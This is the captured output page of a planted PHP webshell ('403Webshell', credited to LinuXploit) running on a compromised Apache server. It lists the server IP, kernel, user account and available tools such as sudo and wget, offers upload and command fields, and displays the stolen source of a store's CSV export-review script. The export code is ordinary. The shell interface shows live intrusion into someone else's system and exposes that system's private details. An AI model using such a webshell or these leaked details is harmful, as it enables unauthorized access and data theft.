403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wcfs/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/wcfs/tabs/export_review.php
<?php
session_start();
include 'protect.php';
include 'db.php';
include 'store_settings.php';
require_once __DIR__ . '/brand_header.php';
require_once __DIR__ . '/qbo_name_map_helpers.php';
require_once __DIR__ . '/export_helpers.php';

function eh($value)
{
    return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');
}

function exportReviewCategoryAnchor($category)
{
    $safe = preg_replace('/[^A-Za-z0-9_-]+/', '-', (string) $category);
    $safe = trim((string) $safe, '-');
    return $safe === '' ? 'category' : $safe;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['prepare_export_review'])) {
    $month = isset($_POST['month']) ? trim((string) $_POST['month']) : '';
    $exportScope = isset($_POST['export_scope']) ? trim((string) $_POST['export_scope']) : 'month';
    $startDate = isset($_POST['start_date']) ? trim((string) $_POST['start_date']) : '';
    $endDate = isset($_POST['end_date']) ? trim((string) $_POST['end_date']) : '';
    $includeArchived = !empty($_POST['include_archived']);
    $mapQboNames = !empty($_POST['map_qbo_names']);

    if (!in_array($exportScope, array('month', 'range'), true)) {
        $exportScope = 'month';
    }

    if ($exportScope === 'month' && !preg_match('/^\d{4}-\d{2}$/', $month)) {
        http_response_code(400);
        echo 'Please choose a valid export month.';
        exit;
    }

    if ($exportScope === 'range') {
        $startDate = normalizePrivateExportDate($startDate);
        $endDate = normalizePrivateExportDate($endDate);
        if ($startDate === '' || $endDate === '') {
            http_response_code(400);
            echo 'Please choose a valid export date range.';
            exit;
        }
        if (strtotime($startDate) > strtotime($endDate)) {
            http_response_code(400);
            echo 'The export start date must be before the end date.';
            exit;
        }
        $month = substr($startDate, 0, 7);
    } else {
        $startDate = '';
        $endDate = '';
    }

    if ($mapQboNames) {
        try {
            $mappingFile = isset($_FILES['mapping_file']) ? $_FILES['mapping_file'] : array();
            $fileError = isset($mappingFile['error']) ? (int) $mappingFile['error'] : UPLOAD_ERR_NO_FILE;
            if ($fileError === UPLOAD_ERR_NO_FILE) {
                qboNameMapLoadSaved($conn);
            } else {
                qboNameMapStoreUploadedFile($conn, $mappingFile);
            }
        } catch (Exception $e) {
            http_response_code(400);
            echo htmlspecialchars($e->getMessage(), ENT_QUOTES, 'UTF-8');
            exit;
        }
    }

    $_SESSION['private_export_review'] = array(
        'export_scope' => $exportScope,
        'month' => $month,
        'start_date' => $startDate,
        'end_date' => $endDate,
        'range_label' => privateExportRangeLabel($month, $startDate, $endDate),
        'include_archived' => $includeArchived ? 1 : 0,
        'map_qbo_names' => $mapQboNames ? 1 : 0,
        'rows' => privatePreparedExportRows($conn, $month, $includeArchived, $mapQboNames, array(), $startDate, $endDate),
    );
    setAppSettingValue($conn, 'private_qbo_last_export_range', $_SESSION['private_export_review']['range_label']);
    $_SESSION['private_export_review_overrides'] = array();

    header('Location: export_review.php');
    exit;
}

$review = isset($_SESSION['private_export_review']) ? $_SESSION['private_export_review'] : null;
if (!$review || empty($review['rows']) || !is_array($review['rows'])) {
    header('Location: export_form.php');
    exit;
}

$overrideMap = isset($_SESSION['private_export_review_overrides']) && is_array($_SESSION['private_export_review_overrides'])
    ? $_SESSION['private_export_review_overrides']
    : array();
$openSections = isset($_SESSION['private_export_review_open_sections']) && is_array($_SESSION['private_export_review_open_sections'])
    ? $_SESSION['private_export_review_open_sections']
    : array('Misc');

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['save_category_override'])) {
    $overrideItem = isset($_POST['override_item']) ? strtolower(trim((string) $_POST['override_item'])) : '';
    $overrideCategory = isset($_POST['override_category']) ? trim((string) $_POST['override_category']) : '';
    $fromCategory = isset($_POST['from_category']) ? trim((string) $_POST['from_category']) : '';
    $postedOpenSections = isset($_POST['open_sections']) ? trim((string) $_POST['open_sections']) : '';

    if ($postedOpenSections !== '') {
        $decodedOpen = json_decode($postedOpenSections, true);
        if (is_array($decodedOpen)) {
            $openSections = array_values(array_unique(array_map('strval', $decodedOpen)));
        }
    }

    if ($overrideItem !== '' && $overrideCategory !== '') {
        $overrideMap[$overrideItem] = $overrideCategory;
        $_SESSION['private_export_review_overrides'] = $overrideMap;
        if ($fromCategory !== '' && !in_array($fromCategory, $openSections, true)) {
            $openSections[] = $fromCategory;
        }
        if (!in_array($overrideCategory, $openSections, true)) {
            $openSections[] = $overrideCategory;
        }
        $_SESSION['private_export_review_open_sections'] = $openSections;

        $autosaveOk = false;
        $mapFile = privateCategorizerDir() . '/item_map.json';
        $itemMap = privateCategorizerMap();
        $itemMap[$overrideItem] = $overrideCategory;
        if (@file_put_contents($mapFile, json_encode($itemMap, JSON_PRETTY_PRINT))) {
            $autosaveOk = true;
        }

        $_SESSION['private_export_review_flash'] = $autosaveOk
            ? array('type' => 'ok', 'message' => 'Category saved.')
            : array('type' => 'warn', 'message' => 'Category used for this export, but could not save to your map file.');
    }

    $returnAnchor = $fromCategory !== '' ? exportReviewCategoryAnchor($fromCategory) : exportReviewCategoryAnchor($overrideCategory);
    header('Location: export_review.php#' . $returnAnchor);
    exit;
}

$month = isset($review['month']) ? (string) $review['month'] : date('Y-m');
$startDate = isset($review['start_date']) ? (string) $review['start_date'] : '';
$endDate = isset($review['end_date']) ? (string) $review['end_date'] : '';
$rangeLabel = isset($review['range_label']) ? (string) $review['range_label'] : privateExportRangeLabel($month, $startDate, $endDate);
$rules = privateCategorizerRules();
$baseItemMap = privateCategorizerMap();
$effectiveItemMap = privateMergedCategorizerMap($overrideMap);
$categories = array_keys($rules);
if (!in_array('Misc', $categories, true)) {
    $categories[] = 'Misc';
}
$categorizerDir = privateCategorizerDir();
$rows = privatePreparedExportRows(
    $conn,
    (string) $review['month'],
    !empty($review['include_archived']),
    !empty($review['map_qbo_names']),
    $overrideMap,
    $startDate,
    $endDate
);

$groupedRows = array();
foreach ($categories as $categoryName) {
    $groupedRows[$categoryName] = array();
}

foreach ($rows as $row) {
    $category = isset($row['Category']) ? (string) $row['Category'] : 'Misc';
    if (!isset($groupedRows[$category])) {
        $groupedRows[$category] = array();
    }
    $groupedRows[$category][] = $row;
}

$storeName = 'HouseTabPro';
if (isset($_SESSION['store_name']) && $_SESSION['store_name'] !== '') {
    $storeName = $_SESSION['store_name'];
} elseif (isset($_SESSION['store_db']) && $_SESSION['store_db'] !== '') {
    $storeName = $_SESSION['store_db'];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['download_reviewed_export'])) {
    $preparedRows = privatePreparedExportRows(
        $conn,
        (string) $review['month'],
        !empty($review['include_archived']),
        !empty($review['map_qbo_names']),
        $overrideMap,
        $startDate,
        $endDate
    );

    $output = fopen('php://temp', 'r+');
    fputcsv($output, array('Date', 'Customer', 'Item', 'Category', 'Quantity', 'Price', 'Subtotal', 'Taxable', 'Tax', 'Total', 'Notes', 'Source'));
    foreach ($preparedRows as $row) {
        fputcsv($output, array(
            $row['Date'],
            $row['Customer'],
            $row['Item'],
            $row['Category'],
            $row['Quantity'],
            $row['Price'],
            $row['Subtotal'],
            $row['Taxable'],
            $row['Tax'],
            $row['Total'],
            $row['Notes'],
            $row['Source'],
        ));
    }
    rewind($output);
    $csv = stream_get_contents($output);
    fclose($output);

    header('Content-Type: text/csv; charset=UTF-8');
    header('Content-Disposition: attachment; filename="' . exportFilenameForStore($storeName, $month, !empty($review['map_qbo_names']), $startDate, $endDate) . '"');
    echo $csv;
    unset($_SESSION['private_export_review_overrides']);
    unset($_SESSION['private_export_review_open_sections']);
    exit;
}

$flash = isset($_SESSION['private_export_review_flash']) ? $_SESSION['private_export_review_flash'] : null;
unset($_SESSION['private_export_review_flash']);
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Review Export Categories</title>
    <style>
        body {
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            margin: 0;
            padding: 30px;
            background: #f8fafc;
            color: #1f2937;
        }

        .container {
            max-width: 980px;
            margin: 0 auto;
            background: #fff;
            padding: 28px;
            border-radius: 16px;
            box-shadow: 0 12px 32px rgba(15, 23, 42, 0.08);
        }

        .toolbar {
            display: flex;
            justify-content: space-between;
            gap: 16px;
            align-items: center;
            flex-wrap: wrap;
            margin-bottom: 18px;
        }

        .btn {
            display: inline-block;
            padding: 10px 14px;
            background: #2563eb;
            color: #fff;
            text-decoration: none;
            border: none;
            border-radius: 10px;
            font-size: 14px;
            font-weight: 700;
            cursor: pointer;
        }

        .btn-secondary {
            background: #64748b;
        }

        .msg {
            margin: 14px 0;
            padding: 12px 14px;
            border-radius: 10px;
        }

        .msg.ok {
            background: #ecfdf5;
            border: 1px solid #86efac;
            color: #166534;
        }

        .msg.warn {
            background: #fff7ed;
            border: 1px solid #fdba74;
            color: #9a3412;
        }

        .category-header {
            background: #1e293b;
            color: white;
            padding: 10px 12px;
            cursor: pointer;
            margin-top: 14px;
            border-radius: 8px;
            font-weight: 700;
            scroll-margin-top: 18px;
        }

        .category-content {
            display: none;
            border: 1px solid #cbd5e1;
            border-radius: 8px;
            padding: 10px;
            margin-bottom: 10px;
            background: #f8fafc;
        }

        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }

        th, td {
            padding: 7px;
            border: 1px solid #cbd5e1;
            text-align: left;
            vertical-align: top;
        }

        select {
            width: 100%;
            padding: 7px 8px;
        }

        .searchBox {
            margin: 10px 0 14px;
            padding: 8px 10px;
            width: 280px;
            max-width: 100%;
        }

        .muted {
            color: #64748b;
            font-size: 0.92rem;
        }
    </style>
    <?php echo appBrandStyles(); ?>
</head>
<body>
<div class="container">
    <?php renderAppBrandHeader(); ?>

    <div class="toolbar">
        <div>
            <h1 style="margin:0;">Review Export Categories</h1>
            <div class="muted" style="margin-top:6px;">
                <?php echo eh($rangeLabel); ?> export prepared. Notes have already been merged into the item description, and known items have already been categorized.
            </div>
            <div class="muted" style="margin-top:6px;">
                Using categorizer folder: <strong><?php echo eh($categorizerDir); ?></strong>
            </div>
        </div>
        <div>
            <a class="btn btn-secondary" href="export_form.php">Back to Export</a>
        </div>
    </div>

    <?php if (is_array($flash) && !empty($flash['message'])): ?>
        <div class="msg <?php echo ($flash['type'] === 'ok') ? 'ok' : 'warn'; ?>">
            <?php echo eh($flash['message']); ?>
        </div>
    <?php endif; ?>

    <input type="text" id="searchBox" class="searchBox" placeholder="Search item descriptions..." onkeyup="filterItems()">
    <button type="button" class="btn btn-secondary" onclick="resetSearch()">Reset</button>

    <div id="categoriesContainer">
        <?php foreach ($categories as $categoryName): ?>
            <div id="<?php echo eh(exportReviewCategoryAnchor($categoryName)); ?>" class="category-header" onclick="toggleCategory(this)"><?php echo eh($categoryName); ?> (<?php echo count(isset($groupedRows[$categoryName]) ? $groupedRows[$categoryName] : array()); ?>)</div>
            <div class="category-content" style="display:<?php echo in_array($categoryName, $openSections, true) ? 'block' : 'none'; ?>;">
                <table>
                    <tr>
                        <th>Item</th>
                        <th>Customer</th>
                        <th>Category</th>
                        <th>Total</th>
                    </tr>
                    <?php foreach (isset($groupedRows[$categoryName]) ? $groupedRows[$categoryName] : array() as $row): ?>
                        <tr>
                            <td><?php echo eh(isset($row['Item']) ? $row['Item'] : ''); ?></td>
                            <td><?php echo eh(isset($row['Customer']) ? $row['Customer'] : ''); ?></td>
                            <td>
                                <form method="post" style="margin:0;">
                                    <input type="hidden" name="save_category_override" value="1">
                                    <input type="hidden" name="override_item" value="<?php echo eh(strtolower(isset($row['BaseItem']) ? $row['BaseItem'] : (isset($row['Item']) ? $row['Item'] : ''))); ?>">
                                    <input type="hidden" name="from_category" value="<?php echo eh($categoryName); ?>">
                                    <input type="hidden" name="open_sections" class="open-sections-field" value="">
                                    <select name="override_category" onchange="this.form.submit()">
                                        <?php foreach ($categories as $option): ?>
                                            <option value="<?php echo eh($option); ?>" <?php echo ((isset($row['Category']) ? $row['Category'] : 'Misc') === $option) ? 'selected' : ''; ?>>
                                                <?php echo eh($option); ?>
                                            </option>
                                        <?php endforeach; ?>
                                    </select>
                                </form>
                            </td>
                            <td><?php echo eh(isset($row['Total']) ? $row['Total'] : ''); ?></td>
                        </tr>
                    <?php endforeach; ?>
                </table>
            </div>
        <?php endforeach; ?>
    </div>

    <form method="post" style="margin-top:18px;">
        <input type="hidden" name="download_reviewed_export" value="1">
        <button type="submit" class="btn">Download Final CSV</button>
    </form>
</div>

<script>
function currentOpenSections() {
    var open = [];
    var headers = document.querySelectorAll('.category-header');
    headers.forEach(function (header) {
        var content = header.nextElementSibling;
        if (content && content.style.display === 'block') {
            var label = header.textContent || '';
            var match = label.match(/^(.*?)\s+\(\d+\)$/);
            open.push(match ? match[1] : label);
        }
    });
    return open;
}

function toggleCategory(header) {
    var content = header.nextElementSibling;
    if (!content) return;
    content.style.display = content.style.display === 'block' ? 'none' : 'block';
}

function filterItems() {
    var term = document.getElementById('searchBox').value.toLowerCase();
    var tables = document.querySelectorAll('.category-content table');
    tables.forEach(function (table) {
        var rows = table.querySelectorAll('tr');
        rows.forEach(function (row, index) {
            if (index === 0) return;
            var itemText = row.cells[0].innerText.toLowerCase();
            row.style.display = itemText.indexOf(term) !== -1 ? '' : 'none';
        });
    });
}

function resetSearch() {
    document.getElementById('searchBox').value = '';
    filterItems();
}

document.querySelectorAll('form').forEach(function (form) {
    form.addEventListener('submit', function () {
        var field = form.querySelector('.open-sections-field');
        if (field) {
            field.value = JSON.stringify(currentOpenSections());
        }
    });
});
</script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit